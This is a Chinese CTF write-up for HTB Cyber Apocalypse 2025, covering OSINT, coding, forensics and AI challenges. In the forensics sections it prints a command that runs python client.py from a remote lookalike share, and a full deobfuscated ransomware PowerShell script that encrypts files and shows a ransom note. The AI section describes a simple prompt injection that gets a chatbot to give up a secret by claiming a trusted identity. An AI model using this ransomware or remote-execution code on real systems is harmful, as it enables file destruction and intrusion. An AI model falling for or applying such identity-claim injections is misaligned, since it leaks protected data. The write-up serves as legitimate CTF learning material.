Cyber Apocalypse CTF 2025 - WriteUp
碎碎念
第一次打这个htb上的赛,真别说就是高级,分类全功能多,唯一的问题就是看不懂英文(bushi),题目量巨大,最后也就做了14题半
总的来说还蛮有意思的
OSINT
Echoes in Stone
知识点省流
谷歌搜图+wiki
WP
将图片丢给谷歌搜索,可以看到他给出了名字,但是提交不对,那我们直接搜一下这个名
然后可以找到它对应的wiki,wiki的名才是flag
The Stone That Whispers
知识点省流
谷歌搜图+wiki
WP
将图片丢给谷歌搜索,然后找到wiki。进去后即可看到flag
The Mechanical Bird's Nest
知识点省流
谷歌搜图+wiki+谷歌地图
WP
将图片丢给谷歌搜图,确定是51区
在谷歌搜索area 51
,找到他的wiki,发现有一个坐标,点击可以跳转到一个具体的定位页面
在里面选择谷歌地球,会下载一个kml文件
打开谷歌地图,然后导入kml文件,可以直接定位到51区,然后找到图片的位置,标记一个新地标,就能确定经纬度了
The Ancient Citadel
知识点省流
谷歌搜索
WP
丢给谷歌搜索,发现有给出具体的名字
直接搜这个地方在哪,就有详细信息,而且正好对得上flag的要求(难绷)
btw,尝试丢给gpt分析,对了一半只能说
The Hillside Haven
知识点省流
WP
The Shadowed Sigil
知识点省流
谷歌搜索
WP
谷歌搜索139.5.177.205 APT
,会找到唯一一个链接,显然答案是APT28
coding
Summoners Incantation
知识点省流
算法小子
WP
让大模型写个脚本就行了
import json
def max_non_adjacent_sum(tokens):
if not tokens:
return 0
if len(tokens) == 1:
return tokens[0]
prev, curr = 0, 0
for token in tokens:
prev, curr = curr, max(curr, prev + token)
return curr
tokens = json.loads(input().strip()) # 解析 JSON 格式的输入
print(max_non_adjacent_sum(tokens))
Dragon Fury
知识点省流
回溯算法
WP
大模型梭哈(科技真美妙)
from itertools import product
def find_damage_combination(damage_options, target):
for combination in product(*damage_options): # 生成所有可能的组合
if sum(combination) == target:
return list(combination)
return []
if __name__ == "__main__":
import ast
damage_options = ast.literal_eval(input().strip()) # 读取并解析输入
target = int(input().strip())
result = find_damage_combination(damage_options, target)
print(result)
Enchanted Cipher
知识点省流
WP
老样子大模型梭哈
import ast
def decrypt_shifting_cipher(encrypted_text, num_groups, shift_groups):
# 提取所有字母及其在字符串中的位置(非字母保持原位)
letters = []
positions = []
for i, ch in enumerate(encrypted_text):
if ch.isalpha():
letters.append(ch)
positions.append(i)
decrypted_letters = []
group_size = 5
total_letters = len(letters)
# 对于每个分组进行解密(最后一组可能不足5个字母)
for group_index in range(num_groups):
start = group_index * group_size
end = min((group_index + 1) * group_size, total_letters)
group = letters[start:end]
shift = shift_groups[group_index]
for letter in group:
# 假设所有字母均为小写:执行反向移位解密
num = ord(letter) - ord('a')
new_num = (num - shift) % 26
decrypted_letter = chr(new_num + ord('a'))
decrypted_letters.append(decrypted_letter)
# 将解密后的字母按原来字母的位置放回字符串,其它字符保持不变
decrypted_chars = list(encrypted_text)
for pos, d_letter in zip(positions, decrypted_letters):
decrypted_chars[pos] = d_letter
return "".join(decrypted_chars)
if __name__ == "__main__":
# 输入:加密文本、移位组数、移位值列表
encrypted_text = input().strip()
num_groups = int(input().strip())
shift_groups = ast.literal_eval(input().strip())
original_text = decrypt_shifting_cipher(encrypted_text, num_groups, shift_groups)
print(original_text)
Dragon Flight
知识点省流
算法小子
WP
ds梭哈了
import sys
class SegmentTreeNode:
__slots__ = ['l', 'r', 'left', 'right', 'max_sum', 'prefix_max', 'suffix_max', 'total']
def __init__(self, l, r):
self.l = l
self.r = r
self.left = None
self.right = None
self.max_sum = 0 # Maximum subarray sum in this interval
self.prefix_max = 0 # Maximum prefix sum in this interval
self.suffix_max = 0 # Maximum suffix sum in this interval
self.total = 0 # Total sum of this interval
class SegmentTree:
def __init__(self, data):
self.n = len(data)
self.root = self.build(0, self.n - 1, data)
def build(self, l, r, data):
node = SegmentTreeNode(l, r)
if l == r:
node.max_sum = node.prefix_max = node.suffix_max = node.total = data[l]
return node
mid = (l + r) // 2
node.left = self.build(l, mid, data)
node.right = self.build(mid + 1, r, data)
self.merge(node)
return node
def merge(self, node):
left = node.left
right = node.right
node.total = left.total + right.total
node.prefix_max = max(left.prefix_max, left.total + right.prefix_max)
node.suffix_max = max(right.suffix_max, right.total + left.suffix_max)
node.max_sum = max(left.max_sum, right.max_sum, left.suffix_max + right.prefix_max)
def update_val(self, node, idx, val):
if node.l == node.r == idx:
node.max_sum = node.prefix_max = node.suffix_max = node.total = val
return
if idx <= node.left.r:
self.update_val(node.left, idx, val)
else:
self.update_val(node.right, idx, val)
self.merge(node)
def query_range(self, node, l, r):
if node.r < l or node.l > r:
return (-10**18, -10**18, -10**18, -10**18)
if l <= node.l and node.r <= r:
return (node.max_sum, node.prefix_max, node.suffix_max, node.total)
left_max, left_prefix, left_suffix, left_total = self.query_range(node.left, l, r)
right_max, right_prefix, right_suffix, right_total = self.query_range(node.right, l, r)
if left_max == -10**18:
return (right_max, right_prefix, right_suffix, right_total)
if right_max == -10**18:
return (left_max, left_prefix, left_suffix, left_total)
total = left_total + right_total
prefix_max = max(left_prefix, left_total + right_prefix)
suffix_max = max(right_suffix, right_total + left_suffix)
max_sum = max(left_max, right_max, left_suffix + right_prefix)
return (max_sum, prefix_max, suffix_max, total)
def main():
input = sys.stdin.read().split()
ptr = 0
N, Q = map(int, input[ptr:ptr+2])
ptr += 2
data = list(map(int, input[ptr:ptr+N]))
ptr += N
st = SegmentTree(data)
for _ in range(Q):
parts = input[ptr]
if parts == 'Q':
# Query operation
ptr += 1
l = int(input[ptr]) - 1 # convert to 0-based
ptr += 1
r = int(input[ptr]) - 1
ptr += 1
max_sum, _, _, _ = st.query_range(st.root, l, r)
print(max_sum)
elif parts == 'U':
# Update operation
ptr += 1
i = int(input[ptr]) - 1 # convert to 0-based
ptr += 1
x = int(input[ptr])
ptr += 1
st.update_val(st.root, i, x)
if __name__ == "__main__":
main()
ClockWork Gurdian
知识点省流
算法小子
WP
ds梭哈(需要多问问,不然他好像不理解输入格式)
from collections import deque
def shortestSafePath(grid):
if not grid or not grid[0]:
return -1
rows = len(grid)
cols = len(grid[0])
# 检查起点是否可通行
if grid[0][0] != 0 and str(grid[0][0]).upper() != '0':
return -1
# 查找出口位置
exit_pos = None
for i in range(rows):
for j in range(cols):
cell = str(grid[i][j]).upper()
if cell == 'E':
exit_pos = (i, j)
break
if exit_pos:
break
if not exit_pos:
return -1
# 检查出口是否可通行
if grid[exit_pos[0]][exit_pos[1]] == 1:
return -1
# BFS初始化
directions = [(-1, 0), (1, 0), (0, -1), (0, 1)]
queue = deque([(0, 0, 0)]) # (row, col, distance)
visited = [[False] * cols for _ in range(rows)]
visited[0][0] = True
while queue:
row, col, dist = queue.popleft()
# 检查是否到达出口
if (row, col) == exit_pos:
return dist
# 探索四个方向
for dr, dc in directions:
nr, nc = row + dr, col + dc
if 0 <= nr < rows and 0 <= nc < cols and not visited[nr][nc]:
cell = str(grid[nr][nc]).upper()
# 检查是否可通行(0或E)
if cell == '0' or cell == 'E':
visited[nr][nc] = True
queue.append((nr, nc, dist + 1))
return -1
# 示例测试
if __name__ == "__main__":
# 直接使用完整网格作为输入
grid = eval(input().strip()) # 读取单行输入并解析为二维列表
result = shortestSafePath(grid)
print(result)
Forensics
Thorin’s Amulet
知识点省流
powershell脚本+dns解析+web相关知识
WP
下载附件发现是个ps1文件,压缩包里写了是powershell脚本
查看内容发现里面明显有一串base64字符串
丢给厨子,可以看到这里应该是下载了什么东西
而这个时候直接访问这个链接是不通的,可以将题目信息丢给gpt帮我们看看,他告诉我们需要解析域名(题目里有提到)
在hosts里加上对应的ip和域名后,访问如下链接,会得到一个新的ps1文件
http://83.136.254.73:58639/update
查看内容,可以看到其访问了另一个路由,同时在请求头里带上了一个变量
这时候我们直接访问这个链接会显示无权限,所以我们直接在powershell里执行上面的命令即可
然后会得到另一个ps1文件,打开有一串字符,丢给厨子处理即可得到flag
A new Hire
知识点省流
溯源
WP
有个附件,是一个邮件(但其实用不用都一样),里面的内容告诉我们去index.php查看他的简历
访问靶机,就能看到这个index.php
点进去后,点击查看完整简历,会跳转到本地,可以看到上面有具体的路径
所以我们回到浏览器里访问这个路径即可,在resumes里下载刚刚的那个pdf文件,会直接被查杀
提取出来后查看内容,会发现其中藏了一段base64
老样子厨子解码,然后处理一下得到下面的内容,显然指引我们去看client.py
[System.Diagnostics.Process]::Start('msedge', 'http://storage.microsoftcloudservices.com:38133/3fe1690d955e8fd2a0b282501570e1f4/resumesS/resume_official.pdf');\\storage.microsoftcloudservices.com@38133\3fe1690d955e8fd2a0b282501570e1f4\python312\python.exe \\storage.microsoftcloudservices.com@38133\3fe1690d955e8fd2a0b282501570e1f4\configs\client.py
找到对应目录,查看client.py的内容,发现有两串base64字符串
将key的base64值丢给厨子,得到flag
Cave Expedition
知识点省流
windows事件查看+加密脚本逆推解密
WP
下载附件得到一个经过加密的文件和一堆windows的事件记录,根据大小排序,可以看到只有一个文件有内容
打开后,根据时间排序,简单审计一下,发现这里开始有内容,有一大段base64字符串,而且往后的若干个记录都有
全部提出来丢给厨子,会拼凑出完整的脚本,不难看出这个是实现某种自定义加密的脚本
$k34Vm = "Ki50eHQgKi5kb2MgKi5kb2N4ICoucGRm"
$m78Vo = "LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpZT1VSIEZJTEVTIEhBVkUgQkVFTiBFTkNSWVBURUQgQlkgQSBSQU5TT01XQVJFCiogV2hhdCBoYXBwZW5lZD8KTW9zdCBvZiB5b3VyIGZpbGVzIGFyZSBubyBsb25nZXIgYWNjZXNzaWJsZSBiZWNhdXNlIHRoZXkgaGF2ZSBiZWVuIGVuY3J5cHRlZC4gRG8gbm90IHdhc3RlIHlvdXIgdGltZSB0cnlpbmcgdG8gZmluZCBhIHdheSB0byBkZWNyeXB0IHRoZW07IGl0IGlzIGltcG9zc2libGUgd2l0aG91dCBvdXIgaGVscC4KKiBIb3cgdG8gcmVjb3ZlciBteSBmaWxlcz8KUmVjb3ZlcmluZyB5b3VyIGZpbGVzIGlzIDEwMCUgZ3VhcmFudGVlZCBpZiB5b3UgZm9sbG93IG91ciBpbnN0cnVjdGlvbnMuCiogSXMgdGhlcmUgYSBkZWFkbGluZT8KT2YgY291cnNlLCB0aGVyZSBpcy4gWW91IGhhdmUgdGVuIGRheXMgbGVmdC4gRG8gbm90IG1pc3MgdGhpcyBkZWFkbGluZS4KLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQo="
$a53Va = "NXhzR09iakhRaVBBR2R6TGdCRWVJOHUwWVNKcTc2RWl5dWY4d0FSUzdxYnRQNG50UVk1MHlIOGR6S1plQ0FzWg=="
$b64Vb = "n2mmXaWy5pL4kpNWr7bcgEKxMeUx50MJ"
$e90Vg = @{}
$f12Vh = @{}
For ($x = 65; $x -le 90; $x++) {
$e90Vg[([char]$x)] = if($x -eq 90) { [char]65 } else { [char]($x + 1) }
}
function n90Vp {
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($m78Vo))
}
function l56Vn {
return (a12Vc $k34Vm).Split(" ")
}
For ($x = 97; $x -le 122; $x++) {
$e90Vg[([char]$x)] = if($x -eq 122) { [char]97 } else { [char]($x + 1) }
}
function a12Vc {
param([string]$a34Vd)
return [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($a34Vd))
}
$c56Ve = a12Vc $a53Va
$d78Vf = a12Vc $b64Vb
For ($x = 48; $x -le 57; $x++) {
$e90Vg[([char]$x)] = if($x -eq 57) { [char]48 } else { [char]($x + 1) }
}
$e90Vg.GetEnumerator() | ForEach-Object {
$f12Vh[$_.Value] = $_.Key
}
function l34Vn {
param([byte[]]$m56Vo, [byte[]]$n78Vp, [byte[]]$o90Vq)
$p12Vr = [byte[]]::new($m56Vo.Length)
for ($x = 0; $x -lt $m56Vo.Length; $x++) {
$q34Vs = $n78Vp[$x % $n78Vp.Length]
$r56Vt = $o90Vq[$x % $o90Vq.Length]
$p12Vr[$x] = $m56Vo[$x] -bxor $q34Vs -bxor $r56Vt
}
return $p12Vr
}
function s78Vu {
param([byte[]]$t90Vv, [string]$u12Vw, [string]$v34Vx)
if ($t90Vv -eq $null -or $t90Vv.Length -eq 0) {
return $null
}
$y90Va = [System.Text.Encoding]::UTF8.GetBytes($u12Vw)
$z12Vb = [System.Text.Encoding]::UTF8.GetBytes($v34Vx)
$a34Vc = l34Vn $t90Vv $y90Va $z12Vb
return [Convert]::ToBase64String($a34Vc)
}
function o12Vq {
param([switch]$p34Vr)
try {
if ($p34Vr) {
foreach ($q56Vs in l56Vn) {
$d34Vp = "dca01aq2/"
if (Test-Path $d34Vp) {
Get-ChildItem -Path $d34Vp -Recurse -ErrorAction Stop |
Where-Object { $_.Extension -match "^\.$q56Vs$" } |
ForEach-Object {
$r78Vt = $_.FullName
if (Test-Path $r78Vt) {
$s90Vu = [IO.File]::ReadAllBytes($r78Vt)
$t12Vv = s78Vu $s90Vu $c56Ve $d78Vf
[IO.File]::WriteAllText("$r78Vt.secured", $t12Vv)
Remove-Item $r78Vt -Force
}
}
}
}
}
}
catch {}
}
if ($env:USERNAME -eq "developer56546756" -and $env:COMPUTERNAME -eq "Workstation5678") {
o12Vq -p34Vr
n90Vp
}
将这个脚本丢给gpt,让其生成一个解密脚本即可
# 定义原加密时用到的 Base64 字符串(密钥)
$a53Va = "NXhzR09iakhRaVBBR2R6TGdCRWVJOHUwWVNKcTc2RWl5dWY4d0FSUzdxYnRQNG50UVk1MHlIOGR6S1plQ0FzWg=="
$b64Vb = "n2mmXaWy5pL4kpNWr7bcgEKxMeUx50MJ"
# 定义一个通用的 Base64 解码函数
function a12Vc {
param([string]$a34Vd)
return [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($a34Vd))
}
# 定义 XOR 运算函数,与加密时一致
function l34Vn {
param([byte[]]$m56Vo, [byte[]]$n78Vp, [byte[]]$o90Vq)
$p12Vr = [byte[]]::new($m56Vo.Length)
for ($x = 0; $x -lt $m56Vo.Length; $x++) {
$q34Vs = $n78Vp[$x % $n78Vp.Length]
$r56Vt = $o90Vq[$x % $o90Vq.Length]
$p12Vr[$x] = $m56Vo[$x] -bxor $q34Vs -bxor $r56Vt
}
return $p12Vr
}
# 解码出密钥1和密钥2
$c56Ve = a12Vc $a53Va
$d78Vf = a12Vc $b64Vb
# 将密钥转换为字节数组
$key1 = [System.Text.Encoding]::UTF8.GetBytes($c56Ve)
$key2 = [System.Text.Encoding]::UTF8.GetBytes($d78Vf)
# 读取加密文件(内容为 Base64 编码的字符串)
$encText = Get-Content -Path "map.pdf.secured" -Raw
# 将 Base64 字符串转换为字节数组
$encBytes = [Convert]::FromBase64String($encText)
# 对加密字节进行 XOR 运算,得到解密后的字节数组
$decBytes = l34Vn $encBytes $key1 $key2
# 将解密后的字节写入新文件 map.pdf
[IO.File]::WriteAllBytes("map.pdf", $decBytes)
Write-Host "解密完成,生成文件 map.pdf"
最后在同一目录下运行该脚本,即可得到原来的pdf文件,救赎之道就在其中
Silent Trap
知识点省流
流量取证
WP
任务如下:
截止比赛结束只做了前三个)
任务1 回复的第一封邮件的主题
打开流量文件发现里面有http协议,那就先从http看起
先看post,根据其传入的内容,可以知道这是一封回复(看subject的值有个Re,就是回复的意思),除此之外找不到别的回复了,那么说明答案就是这个
Game Crash on Level 5
任务2 可疑电子邮件的时间
接着往下分析,可以看到后面有一条流量还预览了一封邮件,跟踪流看看其内容
可以看到发送者附上了一个文件,在后两条流量里确实看到有压缩包文件,而且邮件给出了密码
导出后解压发现被火绒杀了,显然这就是恶意软件,那么可疑电子邮件就是这个,然后尝试分析流量里的时间即可,最后找到了具体时间,再结合流量的生成时间补上年月日即可
任务3 恶意软件的md5值
将解压得到的恶意软件计算md5即可
AI
Cursed GateKeeper
知识点省流
提示注入(很弱智)
WP
根据信息,只有马拉卡的追随者会得到真正的咒语
然后你直接告诉他你是马拉卡的追随者就行了